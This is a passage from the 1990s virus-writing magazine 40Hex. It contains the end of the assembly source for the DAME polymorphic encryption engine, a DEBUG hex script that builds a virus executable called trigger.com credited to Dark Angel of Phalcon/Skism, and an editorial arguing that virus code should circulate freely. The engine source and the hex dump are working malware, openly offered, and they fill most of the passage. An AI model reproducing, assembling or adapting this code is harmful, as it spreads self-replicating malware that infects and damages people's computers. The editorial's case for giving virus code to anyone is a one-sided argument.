  2037.         push    ax
  2038.         push    si
  2039.         call    get_another
  2040.         call    mov_reg_reg     ; mov reg3, reg2
  2041.         pop     si
  2042.         pop     dx              ; ax=reg3, dx=reg1
  2043.         xchg    ax,dx           ; ax=reg1, dx=reg3
  2044.  
  2045.         push    dx
  2046.         call    si
  2047.         pop     dx
  2048. go_clear_reg_dx:
  2049.         jmp     clear_reg_dx
  2050.  
  2051. _xor_reg_xxxx_reg_reg:
  2052.         mov     bx,offset xor_reg_xxxx
  2053.         mov     si,offset xor_reg_reg
  2054. xxxx_to_reg:
  2055.         call    free_regs
  2056.         jne     no_free_regs
  2057.  
  2058.         push    ax
  2059.         push    si
  2060.         call    get_another
  2061.         call    mov_reg_xxxx
  2062.         xchg    ax,dx
  2063.         pop     si
  2064.         pop     ax
  2065.  
  2066.         push    dx
  2067.         call    si
  2068.         pop     dx
  2069.         jmp     short go_clear_reg_dx
  2070. no_free_regs:
  2071.         jmp     bx
  2072.  
  2073. _add_reg_xxxx_reg_reg:
  2074.         mov     bx,offset add_reg_xxxx
  2075.         mov     si,offset add_reg_reg
  2076.         jmp     short xxxx_to_reg
  2077.  
  2078. _mov_reg_xxxx_reg_reg:
  2079.         mov     bx,offset mov_reg_xxxx
  2080.         mov     si,offset mov_xchg_reg_reg
  2081.         jmp     short xxxx_to_reg
  2082.  
  2083. garbletable:
  2084.         db      garbletableend - $ - 3
  2085.         dw      offset return
  2086.         dw      offset return
  2087.         dw      offset garble_tworeg
  2088.         dw      offset garble_tworeg
  2089.         dw      offset garble_onereg
  2090.         dw      offset garble_onereg
  2091.         dw      offset garble_onebyte
  2092.         dw      offset garble_jmpcond
  2093. garbletableend:
  2094.  
  2095. onebytetable:
  2096.         clc
  2097.         cmc
  2098.         stc
  2099.         cld
  2100.         std
  2101.         sti
  2102.         int     3
  2103.         lock
  2104.  
  2105. oneregtable:
  2106.         db      oneregtableend - $ - 3
  2107.         dw      offset xor_reg_xxxx
  2108.         dw      offset mov_reg_xxxx
  2109.         dw      offset sub_reg_xxxx
  2110.         dw      offset add_reg_xxxx
  2111.         dw      offset dec_reg
  2112.         dw      offset inc_reg
  2113.         dw      offset _ror
  2114.         dw      offset _rol
  2115. oneregtableend:
  2116.  
  2117. oneregtable1:
  2118.         db      oneregtable1end - $ - 3
  2119.         dw      offset xor_reg_xxxx
  2120.         dw      offset sub_reg_xxxx
  2121.         dw      offset add_reg_xxxx
  2122.         dw      offset add_reg_xxxx
  2123.         dw      offset dec_reg
  2124.         dw      offset inc_reg
  2125.         dw      offset _ror
  2126.         dw      offset _rol
  2127. oneregtable1end:
  2128.  
  2129. oneregtable2:
  2130.         db      oneregtable2end - $ - 3
  2131.         dw      offset xor_reg_xxxx
  2132.         dw      offset add_reg_xxxx
  2133.         dw      offset sub_reg_xxxx
  2134.         dw      offset sub_reg_xxxx
  2135.         dw      offset inc_reg
  2136.         dw      offset dec_reg
  2137.         dw      offset _rol
  2138.         dw      offset _ror
  2139. oneregtable2end:
  2140.  
  2141. tworegtable:
  2142.         db      tworegtableend - $ - 3
  2143.         dw      offset xor_reg_reg
  2144.         dw      offset mov_reg_reg
  2145.         dw      offset sub_reg_reg
  2146.         dw      offset add_reg_reg
  2147. tworegtableend:
  2148.  
  2149. tworegtable1:
  2150.         db      tworegtable1end - $ - 3
  2151.         dw      offset xor_reg_reg
  2152.         dw      offset xor_reg_reg
  2153.         dw      offset sub_reg_reg
  2154.         dw      offset add_reg_reg
  2155. tworegtable1end:
  2156.  
  2157. tworegtable2:
  2158.         db      tworegtable2end - $ - 3
  2159.         dw      offset xor_reg_reg
  2160.         dw      offset xor_reg_reg
  2161.         dw      offset add_reg_reg
  2162.         dw      offset sub_reg_reg
  2163. tworegtable2end:
  2164.  
  2165. mov_reg_xxxx_table:
  2166.         db      mov_reg_xxxx_table_end - $ - 3
  2167.         dw      offset _mov_reg_xxxx
  2168.         dw      offset _mov_reg_xxxx_reg_reg
  2169.         dw      offset _mov_reg_xxxx_mov_add
  2170.         dw      offset _mov_reg_xxxx_mov_al_ah
  2171.         dw      offset _mov_reg_xxxx_mov_xor
  2172.         dw      offset _mov_reg_xxxx_xor_add
  2173.         dw      offset _mov_reg_xxxx_mov_rol
  2174.         dw      offset _mov_reg_xxxx_mov_ror
  2175.  
  2176. mov_reg_xxxx_table_end:
  2177.  
  2178. mov_reg_reg_table:
  2179.         db      mov_reg_reg_table_end - $ - 3
  2180.         dw      offset _mov_reg_reg
  2181.         dw      offset _mov_reg_reg
  2182.         dw      offset _mov_reg_reg_3rd_reg
  2183.         dw      offset _mov_reg_reg_push_pop
  2184. mov_reg_reg_table_end:
  2185.  
  2186. xchg_reg_reg_table:
  2187.         db      xchg_reg_reg_table_end - $ - 3
  2188.         dw      offset _xchg_reg_reg
  2189.         dw      offset _xchg_reg_reg
  2190.         dw      offset _xchg_reg_reg_push_pop
  2191.         dw      offset _xchg_reg_reg_3rd_reg
  2192. xchg_reg_reg_table_end:
  2193.  
  2194. xor_reg_xxxx_table:
  2195.         db      xor_reg_xxxx_table_end - $ - 3
  2196.         dw      offset _xor_reg_xxxx
  2197.         dw      offset _xor_reg_xxxx
  2198.         dw      offset _xor_reg_xxxx_reg_reg
  2199.         dw      offset xor_reg_xxxx_xor_xor
  2200. xor_reg_xxxx_table_end:
  2201.  
  2202. xor_reg_reg_table:
  2203.         db      xor_reg_reg_table_end - $ - 3
  2204.         dw      offset _xor_reg_reg
  2205.         dw      offset xor_reg_reg_reg_reg
  2206. xor_reg_reg_table_end:
  2207.  
  2208. add_reg_reg_table:
  2209.         db      add_reg_reg_table_end - $ - 3
  2210.         dw      offset _add_reg_reg
  2211.         dw      offset add_reg_reg_reg_reg
  2212. add_reg_reg_table_end:
  2213.  
  2214. sub_reg_reg_table:
  2215.         db      sub_reg_reg_table_end - $ - 3
  2216.         dw      offset _sub_reg_reg
  2217.         dw      offset sub_reg_reg_reg_reg
  2218. sub_reg_reg_table_end:
  2219.  
  2220. add_reg_xxxx_table:
  2221.         db      add_reg_xxxx_table_end - $ - 3
  2222.         dw      offset _add_reg_xxxx
  2223.         dw      offset _add_reg_xxxx
  2224.         dw      offset _add_reg_xxxx_reg_reg
  2225.         dw      offset sub_reg_xxxx1
  2226.         dw      offset _add_reg_xxxx_inc_add
  2227.         dw      offset _add_reg_xxxx_dec_add
  2228.         dw      offset _add_reg_xxxx_add_add
  2229.         dw      offset _add_reg_xxxx_add_add
  2230.  
  2231. add_reg_xxxx_table_end:
  2232.  
  2233. endif
  2234.  
  2235. if vars eq 0
  2236. else
  2237.  
  2238. _nest                   db      ?       ; needed to prevent infinite recursion
  2239. _relocate_amt           db      ?
  2240.  
  2241. _loopstartencrypt       dw      ?
  2242. _loopstartdecrypt       dw      ?
  2243.  
  2244. _encryptpointer         dw      ?
  2245. _decryptpointer         dw      ?
  2246.  
  2247. _decryptpointer2        dw      ?
  2248.  
  2249. _start_encrypt          dw      ?
  2250. _start_decrypt          dw      ?
  2251.  
  2252. _used_regs              db      8 dup (?) ; 0 = unused
  2253.                                                         beginclear1:
  2254. _encrypt_relocate_num   dw      ?
  2255. _encrypt_relocator      dw      8 dup (?)
  2256.  
  2257. _decrypt_relocate_num   dw      ?
  2258. _decrypt_relocator      dw      10 dup (?)
  2259.                                                         endclear1:
  2260. _encrypt_length         dw      ?       ; based upon alignment
  2261.  
  2262. _counter_value          dw      ?       ; _counter_reg
  2263. _pointer_value          dw      ?
  2264. _decrypt_value          dw      ?
  2265.  
  2266. _dummy_reg              db      ?
  2267. _counter_reg            db      ?
  2268. _pointer_reg            db      ?       ; 4 = not in use
  2269. _encrypt_reg            db      ?
  2270.  
  2271. endif
  2272. -end dame.asm-------begin trigger.scr------------------------------------------
  2273. n trigger.com
  2274. e 0100  E8 6E 00 00 54 72 69 67 67 65 72 20 62 79 20 44 
  2275. e 0110  61 72 6B 20 41 6E 67 65 6C 20 6F 66 20 50 68 61 
  2276. e 0120  6C 63 6F 6E 2F 53 6B 69 73 6D 0D 0A 55 74 69 6C 
  2277. e 0130  69 73 69 6E 67 20 44 61 72 6B 20 41 6E 67 65 6C 
  2278. e 0140  27 73 20 4D 75 6C 74 69 70 6C 65 20 45 6E 63 72 
  2279. e 0150  79 70 74 6F 72 20 28 44 41 4D 45 29 0D 0A 0D 0A 
  2280. e 0160  00 72 FA 0E 1F BA 00 B8 B8 40 00 8E C0 26 81 3E 
  2281. e 0170  63 FC 5D B8 F0 0C BB 41 44 CD 21 81 FB 48 47 75 
  2282. e 0180  3C 1E 06 0E 1F 33 C0 8D 76 5E 8E C0 33 FF B9 08 
  2283. e 0190  00 F3 A7 74 08 40 3D 00 A0 72 EC EB 1C 89 86 AE 
  2284. e 01A0  00 8E D8 C6 06 73 00 CB 55 BD 80 FF EB 00 9A 01 
  2285. e 01B0  00 00 00 5D C6 06 73 00 1F 07 1F EB 7F B8 90 4B 
  2286. e 01C0  CD 21 3B C3 74 76 1E 06 8C D8 48 8E D8 81 2E 03 
  2287. e 01D0  00 80 01 81 2E 12 00 80 01 8E 06 12 00 0E 1F 33 
  2288. e 01E0  FF 8D 76 FD B9 D1 04 F3 A5 33 C0 8E D8 83 2E 13 
  2289. e 01F0  04 06 BF 1F 02 BE 84 00 A5 A5 FA 9C 9C 58 80 CC 
  2290. e 0200  01 50 8C 06 06 00 C7 06 04 00 7F 01 9D B4 30 9C 
  2291. e 0210  FF 1E 84 00 9D 26 C5 36 1F 02 8B FE AD 26 A3 F0 
  2292. e 0220  01 AD 26 A3 F5 01 AC 26 A2 FA 01 1E 06 1F 07 B0 
  2293. e 0230  EA AA B8 E2 01 AB 8C D8 AB FB 07 1F 83 FC FE 75 
  2294. e 0240  0B 8D B6 64 01 BF 00 01 57 A5 A5 C3 8C D8 05 10 
  2295. e 0250  00 2E 01 86 7A 01 2E 03 86 72 01 8E D0 2E 8B A6 
  2296. e 0260  74 01 2E FF AE 78 01 CD 20 00 00 00 00 00 00 00 
  2297. e 0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 
  2298. e 0280  8B EC 50 8B 46 04 2E 3B 06 21 02 73 0B 2E A3 21 
  2299. e 0290  02 8B 46 02 2E A3 1F 02 58 5D CF 55 8B EC 50 8C 
  2300. e 02A0  C8 3B 46 04 74 F2 8B 46 04 2E 3B 06 21 02 75 14 
  2301. e 02B0  8B 46 02 2E 3B 06 1F 02 72 0A 2D 05 00 2E 3B 06 
  2302. e 02C0  1F 02 76 D4 06 57 FC 2E C4 3E 1F 02 B0 EA AA B8 
  2303. e 02D0  E2 01 AB 8C C8 AB 5F 07 81 66 06 FF FE EB B9 8B 
  2304. e 02E0  D8 CF 3D 90 4B 74 F8 1E 57 2E C5 3E 1F 02 C7 05 
  2305. e 02F0  34 12 C7 45 02 34 12 C6 45 04 12 5F 1F FC 3D 00 
  2306. e 0300  4B 74 48 1E 50 33 C0 8E D8 FA C7 06 04 00 9B 01 
  2307. e 0310  8C 0E 06 00 FB 9C 58 80 CC 01 50 9D 58 1F EA 00 
  2308. e 0320  00 00 00 9C 2E FF 1E 1F 02 C3 5A 59 B8 01 57 E8 
  2309. e 0330  F1 FF B4 3E E8 EC FF B8 01 43 5A 1F 59 E8 E3 FF 
  2310. e 0340  07 1F 5F 5E 5D 5B 5A 59 58 EB B8 50 51 52 53 55 
  2311. e 0350  56 57 1E 06 B8 00 43 E8 C9 FF 51 1E 52 B8 01 43 
  2312. e 0360  33 C9 E8 BE FF B8 02 3D E8 B8 FF 72 CA 93 B8 00 
  2313. e 0370  57 CD 21 51 52 B4 3F B9 18 00 0E 1F 0E 07 BA 67 
  2314. e 0380  01 8B F2 E8 9D FF 72 A2 BF F9 09 B9 0C 00 56 57 
  2315. e 0390  F3 A5 5F 5E B8 02 42 33 C9 99 CD 21 81 3D 4D 5A 
  2316. e 03A0  75 2E 81 3E 77 01 53 50 74 80 A3 FD 09 89 16 FB 
  2317. e 03B0  09 B9 10 00 F7 F1 2B 06 01 0A 89 16 0D 0A A3 0F 
  2318. e 03C0  0A 87 CA A3 07 0A C7 06 09 0A 53 50 B0 02 EB 34 
  2319. e 03D0  50 B9 04 00 33 D2 AC 02 D0 E2 FB 58 0A D2 74 C8 
  2320. e 03E0  BA 18 00 3B C2 73 07 B8 00 42 33 C9 CD 21 8B C8 
  2321. e 03F0  FE C5 2D 03 00 50 B0 E9 AA 58 AB 02 C4 04 E9 F6 
  2322. e 0400  D8 AA B0 03 98 53 87 CB 33 F6 BF 11 0C B9 D1 04 
  2323. e 0410  F3 A5 50 E8 67 00 58 BA 11 0C B9 A1 09 BE 91 0A 
  2324. e 0420  BF 11 0A E8 A2 00 51 81 3E F9 09 4D 5A 75 21 8B 
  2325. e 0430  16 FB 09 A1 FD 09 81 C1 A1 09 03 C1 83 D2 00 B9 
  2326. e 0440  00 02 F7 F1 0B D2 74 01 40 A3 FD 09 89 16 FB 09 
  2327. e 0450  FF D7 59 5B B4 40 BA 91 0A E8 C7 FE B4 40 B9 A1 
  2328. e 0460  09 BA 11 0C E8 BC FE B8 00 42 33 C9 99 CD 21 B4 
  2329. e 0470  40 B9 18 00 BA F9 09 E8 A9 FE E9 AD FE 52 51 53 
  2330. e 0480  B4 2C CD 21 E4 40 8A E0 E4 40 33 C1 33 D0 EB 1C 
  2331. e 0490  52 51 53 E4 40 05 00 00 BA 00 00 B9 07 00 D1 E0 
  2332. e 04A0  D1 D2 8A D8 32 DE 79 02 FE C0 E2 F2 A3 96 03 89 
  2333. e 04B0  16 99 03 8A C2 5B 59 5A C3 87 00 86 84 85 03 07 
  2334. e 04C0  0F 1F 5F 5E 5A 59 5B 58 FC 50 53 51 52 56 57 E8 
  2335. e 04D0  07 00 5F 5E 5A 5B 5B 58 C3 FC 50 B8 A7 09 97 AB 
  2336. e 04E0  96 AB AB 92 AB 93 AB 87 CA E8 44 02 B9 1A 00 F3 
  2337. e 04F0  AB E8 9C FF 25 FC FF 59 33 C8 E8 75 02 83 E3 03 
  2338. e 0500  8A 87 BE 03 98 03 D0 F7 D0 23 D0 8B C2 AB D1 E8 
  2339. e 0510  F6 C5 40 74 02 D1 E8 F6 C5 10 75 02 F7 D8 AB 92 
  2340. e 0520  F6 C5 20 75 02 F7 D8 AB E8 65 FF AB B8 84 84 AA 
  2341. e 0530  57 AB AA 5F E8 33 02 78 0B E8 00 02 AA E8 50 FF 
  2342. e 0540  A3 F1 09 4F 47 EB 03 E8 07 02 E8 EF 01 3C 03 72 
  2343. e 0550  F6 AA E8 15 02 78 04 E8 E2 01 AA E8 D2 01 8B 3E 
  2344. e 0560  A9 09 E8 16 02 BE F5 09 56 E8 06 02 83 E3 03 8A 
  2345. e 0570  00 98 A8 80 75 F3 80 8F F5 09 80 8B F0 FE 84 B1 
  2346. e 0580  09 03 DB 8B 97 ED 09 C6 06 A1 09 00 E8 6F 02 E8 
  2347. e 0590  E9 01 E8 06 01 51 80 E1 FC E8 AC 02 59 89 3E A7 
  2348. e 05A0  09 5E BA 04 00 AC A8 80 74 B4 4A 75 F8 BE A7 09 
  2349. e 05B0  BF A3 09 A5 A5 C6 06 A2 09 00 E8 65 00 F6 C5 40 
  2350. e 05C0  74 08 C6 06 A2 09 02 E8 58 00 BB A3 09 51 80 E1 
  2351. e 05D0  FC E8 58 00 59 B8 FC C3 AB BE BB 09 8B 3E AD 09 
  2352. e 05E0  51 E8 19 00 59 BB A5 09 E8 41 00 E8 8A 01 89 3E 
  2353. e 05F0  A9 09 BE CD 09 2B 3E AB 09 03 3E AF 09 F6 C5 20 
  2354. e 0600  74 04 03 3E ED 09 2B 3E F1 09 8B 4C FE E3 08 97 
  2355. e 0610  97 AD 97 01 05 E2 F9 8B 3E A9 09 8B CF 2B 0E AB 
  2356. e 0620  09 C3 E8 84 00 E8 DA 00 E8 7E 00 C3 8B 7F 04 53 
  2357. e 0630  C6 06 A1 09 00 A0 F7 09 25 07 00 BA 02 00 F6 C5 
  2358. e 0640  40 74 02 D1 E2 F6 C5 20 74 02 F7 DA E8 F9 02 B2 
  2359. e 0650  75 A0 F6 09 25 07 00 3C 04 74 26 52 BA 01 00 F6 
  2360. e 0660  C5 10 74 19 3C 01 75 13 E8 FF 00 78 0E 5A E8 01 
  2361. e 0670  01 87 DA 80 E2 02 80 CA E0 EB 06 F7 DA E8 C8 02 
  2362. e 0680  5A 5B 8B 07 2B C7 48 48 86 E0 8A C2 F6 C4 80 75 
  2363. e 0690  05 58 58 E9 2C FE AB 89 7F 04 C3 C6 06 A1 09 0A 
  2364. e 06A0  89 3E A9 09 8B 3E A7 09 C3 8B 3E A9 09 E8 CB 00 
  2365. e 06B0  A0 F8 09 25 07 00 3C 04 74 E1 E8 B5 00 80 FB C0 
  2366. e 06C0  77 D9 E8 13 00 E8 DB 00 E8 D0 FF 51 80 E1 FC FF 
  2367. e 06D0  50 01 59 89 3E A7 09 C3 C6 06 A1 09 00 E8 8A 00 
  2368. e 06E0  78 08 E8 8D 00 BE 07 09 EB 15 E8 85 00 83 E3 07 
  2369. e 06F0  80 FB 04 74 F5 80 BF B1 09 00 74 EE BE 3A 09 87 
  2370. e 0700  D3 C3 8B 3E A9 09 E8 72 00 A0 F7 09 25 07 00 BB 
  2371. e 0710  B6 03 D7 BD CB 09 E8 BF FF E8 0B 00 E8 84 00 BD 
  2372. e 0720  B9 09 E8 02 00 EB A1 50 AC 98 03 F0 58 46 46 C3 
  2373. e 0730  33 C0 BF B1 09 AB AB 40 AB 48 AB C3 E8 51 FD 25 
  2374. e 0740  07 00 8B F0 80 BC B1 09 00 75 F1 FE 84 B1 09 C3 
  2375. e 0750  92 8B F0 C6 84 B1 09 00 C3 50 51 57 BF B1 09 B9 
  2376. e 0760  08 00 33 C0 F2 AE 5F 59 58 C3 50 E8 22 FD 0B C0 
  2377. e 0770  58 C3 93 E8 1A FD 93 C3 E8 00 00 C6 06 A1 09 00 
  2378. e 0780  E8 00 00 E8 D3 FF 75 EF F6 C1 02 74 EA 50 52 E8 
  2379. e 0790  FE FC 92 E8 A6 FF E8 B8 FF BE EE 08 EB 07 56 E8 
  2380. e 07A0  E1 FF 5E 50 52 56 51 91 AC 98 91 E8 C4 FF 23 D9 
  2381. e 07B0  59 FE 06 A1 09 80 3E A1 09 0A 72 02 33 DB 53 FF 
  2382. e 07C0  10 5B 5E 5A 58 C3 BE 3A 09 83 E2 07 EB D5 BE 07 
  2383. e 07D0  09 EB D0 92 24 07 BB FF 08 D7 AA C3 92 25 0F 00 
  2384. e 07E0  0C 70 AB C3 0A C0 78 04 04 50 AA C3 05 30 FF EB 
  2385. e 07F0  0A 0A C0 78 04 04 58 AA C3 B4 8F E9 F0 00 BE 55 
  2386. e 0800  09 EB 9B E8 6C FF 53 2B D3 E8 F2 FF 5A EB 23 3C 
  2387. e 0810  04 73 35 50 52 E8 38 00 5A 58 86 F2 EB 30 E8 51 
  2388. e 0820  FF 53 33 D3 E8 D7 FF 5A E9 96 00 52 8B D0 E8 9B 
  2389. e 0830  00 5A E9 13 01 D1 CA E8 C4 FF EB 07 D1 C2 E8 BD 
  2390. e 0840  FF 0C 08 B4 D1 E9 A6 00 04 B8 AA 92 AB C3 04 04 
  2391. e 0850  04 B0 8A E2 AB C3 BE 66 09 EB A6 50 92 E8 84 FF 
  2392. e 0860  58 EB 8E B4 8B EB 6D E8 00 FF 78 EA BE 6F 09 E9 
  2393. e 0870  2C FF 52 50 52 E8 6C FF 58 E8 68 FF 58 E8 71 FF 
  2394. e 0880  58 E9 6D FF E8 D2 FE 75 14 52 50 E8 AE FE E8 D6 
  2395. e 0890  FF 5A E8 D7 FF 5A 92 E8 CD FF E9 B3 FE 0A C0 78 
  2396. e 08A0  0A 3A C2 7F 02 86 C2 0A D2 74 06 86 C2 B4 87 EB 
  2397. e 08B0  35 04 90 AA C3 E8 BA FE 53 33 D3 E8 03 00 5A EB 
  2398. e 08C0  00 BE 78 09 E9 D7 FE 0C 30 E9 8B 00 BE 81 09 E9 
  2399. e 08D0  CC FE B4 33 0A C0 78 09 0A D2 78 0A E8 8B FE 78 
  2400. e 08E0  05 86 C2 80 EC 02 D0 E0 D0 E0 D0 E0 0A C2 0A C0 
  2401. e 08F0  78 02 0C C0 86 E0 F6 C4 40 75 1D F6 C1 01 75 05 
  2402. e 0900  50 B0 2E AA 58 AB 2E 8B 76 00 03 F6 2E 89 7A 02 
  2403. e 0910  2E FF 46 00 A0 A2 09 98 AB C3 BE 86 09 E9 7E FE 
  2404. e 0920  B4 03 EB B0 BE 8B 09 E9 74 FE B4 2B EB A6 E8 50 
  2405. e 0930  00 4A EB 14 E8 45 00 42 EB 0E E8 35 FE 53 2B D3 
  2406. e 0940  E8 05 00 5A EB 02 F7 DA 0B D2 75 01 C3 BE 90 09 
  2407. e 0950  E9 4B FE 0A C0 74 0E 0A C0 78 02 04 C0 B4 81 E8 
  2408. e 0960  8C FF 92 AB C3 B0 05 AA EB F8 F7 DA 0B D2 74 DC 
  2409. e 0970  0A C0 74 04 04 28 EB DF B0 2D EB EB 50 04 08 EB 
  2410. e 0980  01 50 0A C0 79 07 B4 FF E8 63 FF 58 C3 04 40 AA 
  2411. e 0990  58 C3 BB 56 07 BE 67 07 EB 0F BB D2 07 EB 08 BB 
  2412. e 09A0  20 08 EB 03 BB 2A 08 8B F3 E8 AD FD 75 2E 50 56 
  2413. e 09B0  E8 89 FD E8 A0 FE 5E 5A 92 52 FF D6 5A E9 90 FD 
  2414. e 09C0  BB C1 07 BE CC 07 E8 90 FD 75 11 50 56 E8 6C FD 
  2415. e 09D0  E8 2B FE 92 5E 58 52 FF D6 5A EB E1 FF E3 BB 48 
  2416. e 09E0  08 BE 1A 08 EB E0 BB FE 06 BE 67 07 EB D8 0E 77 
  2417. e 09F0  06 77 06 C6 06 C6 06 CE 06 CE 06 D3 06 DC 06 F8 
  2418. e 0A00  F5 F9 FC FD FB CC F0 0E C1 07 FE 06 6C 08 48 08 
  2419. e 0A10  7C 08 81 08 41 07 43 07 0E C1 07 6C 08 48 08 48 
  2420. e 0A20  08 7C 08 81 08 41 07 43 07 0E C1 07 48 08 6C 08 
  2421. e 0A30  6C 08 81 08 7C 08 43 07 41 07 06 CC 07 56 07 24 
  2422. e 0A40  08 1A 08 06 CC 07 CC 07 24 08 1A 08 06 CC 07 CC 
  2423. e 0A50  07 1A 08 24 08 0E 48 07 E6 08 03 07 0F 07 1E 07 
  2424. e 0A60  2B 07 35 07 3C 07 06 63 07 63 07 92 08 5B 07 06 
  2425. e 0A70  9D 07 9D 07 72 07 84 07 06 C7 07 C7 07 C0 08 B5 
  2426. e 0A80  07 02 D2 07 9A 08 02 20 08 9F 08 02 2A 08 A4 08 
  2427. e 0A90  0E 53 08 53 08 DE 08 6A 08 2E 08 34 08 3A 08 3A 
  2428. e 0AA0  08 
  2429. rcx
  2430. 09A1
  2431. w
  2432. q
  2433. -end trigger.scr---------------------------------------------------------------
  2434.  
  2435. 40Hex Issue 11 Volume 3 Number 2                                      File 004
  2436.  
  2437.                          40-Hex Editorial
  2438.  
  2439.                          Virus Censorship
  2440.                            by DecimatoR
  2441.  
  2442.     Recently in the comp.virus echo of Usenet there was a discussion
  2443. entitled "40 Hex Censorship".  A few people were complaining about this 
  2444. magazine being censored by the anti-virus community, and on Internet 
  2445. itself.  I found this thread interesting, and figured I'd voice my opinions 
  2446. on it here, where it counts.  
  2447.  
  2448.     As many of you know, 40-Hex is one of the most popular underground mags.  
  2449. I was actually told by a European Anti-Virus researcher that 40-Hex was 
  2450. regarded as the best VX magazine in existance by most of the anti-virus
  2451. community.  Of course, I was quite happy to hear this.  (Who wouldn't be?) 
  2452. But I also couldn't help wondering, how could a magazine like 40-Hex, with no 
  2453. real distribution system, be the most popular?  It got me thinking, and I 
  2454. realized that we provide, in great detail, some of the most recent news, and 
  2455. developments in the virus community.  Anyone can publish source code and
  2456. hex dumps, but we take it a bit further.  40-Hex is more than just a how-to 
  2457. magazine, it's a publication which delves into details, world wide 
  2458. developments, and never-before distributed source code with new and
  2459. interesting programming techniques.  It's more than a source of viruses; it's 
  2460. a source of _information_.
  2461.  
  2462.     This also got me thinking, about the actual distribution system of 
  2463. 40-Hex.  Each issue is distributed on two, and ONLY two bulletin boards - 
  2464. Digital Warfare and Liquid Euphoria.  From there, it is passed rapidly across 
  2465. the country, and, soon after, around the world.  Unfortunately, 40-Hex never 
  2466. seems to make it to a LARGE portion of the population who want it - the folks 
  2467. who hang out on in the comp.virus echo of Usenet.  A few issues back, I 
  2468. posted a note there, asking for input on a survey I was conducting.  Over 
  2469. half of the replies I received didn't even answer my questions - all the
  2470. folks wanted to know was WHERE could they get their hands on 40-Hex?  After a 
  2471. little digging, I found 2 sites which allowed 40-Hex to be posted for 
  2472. anonymous FTP.  Within a month, both sites had removed the magazine.  
  2473. Censorship?  You bet.  See, the anti-virus folks on Usenet feel that this 
  2474. magazine is BAD.  After all, we publish source code which any virus author 
  2475. can learn by.  We encourage people to learn new programming techniques.  We 
  2476. tell the truth about how viruses work, and we're not afraid to give people 
  2477. code which shows HOW viruses do what they do, so that anyone who wishes to 
  2478. write a virus has the KNOWLEDGE to do so.  
  2479.  
  2480.     But does this make us bad?  Let's look at it again, in a slightly 
  2481. different perspective:
  2482.  
  2483. We publish source code which any anti-virus author can learn by.  We encourage
  2484. people to learn new programming techniques.  We tell the truth about how
  2485. viruses work, and we're not afraid to give people code which shows HOW viruses
  2486. do what they do, so that anyone who wishes to write anti-virus software has the
  2487. KNOWLEDGE to do so.  
  2488.  
  2489. Hmmm...  now do we seem so bad?  With the addition of a few "anti"s in that 
  2490. last paragraph, we turned 40-Hex around - from a bad underground magazine to 
  2491. a beneficial wealth of information.  Interesting, eh?
  2492.  
  2493. This seems to be where the Vesselin Bontchev's of the world have a serious 
  2494. problem seeing the forest, because of the trees.  Bontchev has often 
  2495. proclaimed, quite loudly, and in no uncertain terms, that virus code should 
  2496. NEVER, NEVER, NEVER, UNDER _ANY_ CIRCUMSTANCES, BE DISTRIBUTED TO ANYONE! 
  2497. Anyone, that is, except an anti-virus researcher like himself. 
  2498. Double standard?  Yes. 
  2499.  
  2500. A typical scenario on the newsgroup reads like this:
  2501.  
  2502. Joe Unknown:  Hi, I'm interested in writing an anti-virus package, and need
  2503.               to obtain viruses which I can experiment and work with.  Where
  2504.               can I find them?
  2505.  
  2506. Joe Established-AV-Person: You can't.  I don't know you, and no one else does 
  2507.                            either.  Therefore, you cannot be trusted, and you 
  2508.                            may not recieve virus code.  You should be ashamed
  2509.                            for asking!  You probably just want to learn to
  2510.                            write viruses so you can wreak havoc on all 
  2511.                            computers everywhere!  Hmmmph!
  2512.  
  2513.     Yes, folks, it IS this bad.  The anti-virus guys talk of "ethical 
  2514. standards" which say that they just can't give out virus code, except to 
  2515. other established AV people.  Ethical standards?  DOUBLE STANDARDS!!!  What 
  2516. would happen, if they DID give their viruses to "unknown" people who wanted 
  2517. them?  Would massive virus infections result?  Maybe.  Would new anti-virus 
  2518. software packages be created?  Probably.  But will the AV guys give anyone a 
  2519. chance?  Hardly.
  2520.  
  2521.     It's this attitude which upsets a lot of people.  And one of them was 
  2522. upset enough to finally ask WHY 40-Hex was so censored on the net.  Of course,
  2523. he got the "ethical standard" reply.  But the true fact is - people WANT this 
  2524. (and any other) fine VX magazine!  The Nuke Infojournals, ARCV newsletters, 
  2525. the Crypt newsletters...  I've had people ask me time and time again WHERE 
  2526. they can find them on the Internet.  And I've told them, time and time again, 
  2527. "You can't.  Sorry."  
  2528.  
  2529.     Most of you who read this mag are involved in either of 3 groups:
  2530. The Virus underground, System Security, or Anti-Virus research.  Where did 
  2531. YOU obtain your copy of 40-Hex?  A BBS?  A friend?  A disk you found lying in 
  2532. the computer room?  Probably a BBS.  Certainly not Internet.  The poor folks 
  2533. on Internet are missing out on a LOT of good information, all because a 
  2534. handful of self-appointed experts decided that CENSORSHIP was better than 
  2535. KNOWLEDGE.  Of course, if I were to post this fact in comp.virus, my message 
  2536. would never get out.  Why?  Because the group is moderated by an individual 
  2537. who ranks right up there with the rest of the Censors.  Any message even 
  2538. vaguely requesting a source for viruses is killed before it gets out.  And 
  2539. certainly, any post containing source code, or a way to obtain viruses is 
  2540. nuked before it's ever seen by anyone.  THE COMP.VIRUS ECHO IS ONE OF THE 
  2541. MOST HEAVILY CENSORED NEWSGROUPS ON USENET!  Does this bother you?  It 
  2542. certainly bothers me!  INFORMATION IS POWER, FOLKS!  Stupidity is NOT!
  2543.  
  2544.     Recently I had a long conversation with Alan Solomon, head of S & S 
  2545. International, publisher of Dr. Solomon's Anti-Virus Toolkit.  It was a 
  2546. pleasant conversation, and Dr. Solly is a very nice person to talk to.  
  2547. Although we obviously don't see eye-to-eye on certain topics, we came to a 
  2548. general understanding - he does anti-virus work to help other people and to
  2549. make a living.  I run a virus board to pass on information and to fight
  2550. censorship.  I respect him for his ideals, and I believe he respects me 
  2551. for mine.  Of course, he doesn't approve of what I do, but he respects my 
  2552. reasons for doing it.  Was an interesting conversation, I'm glad we had it.  
  2553. Thanks, Alan - for everything.
  2554.  
  2555.     Censorship of viruses, virus code, and virus mags is quite strong.  Those 
  2556. in the underground often don't realize how censored this material really is, 
  2557. or how lucky they are to be able to obtain it with a phone call.  It really 
  2558. bugs me to think that people out there WANT the information contained inside 
  2559. this very issue, but are unable to get it because of the closed minds of a 
  2560. handful of "experts".
  2561.  
  2562.     Wake up people!  This is the 90's!  This is the INFORMATION AGE!  
  2563. Censorship doesn't HELP!  It HARMS!  Keeping people ignorant doesn't help 
  2564. them, it HURTS them!  Knowledge is power!  FREE INFORMATION IS WHAT CYBERSPACE
  2565. IS BASED ON!  Anything else is simply _wrong_.
  2566.  
  2567.           --Dec
  2568.  
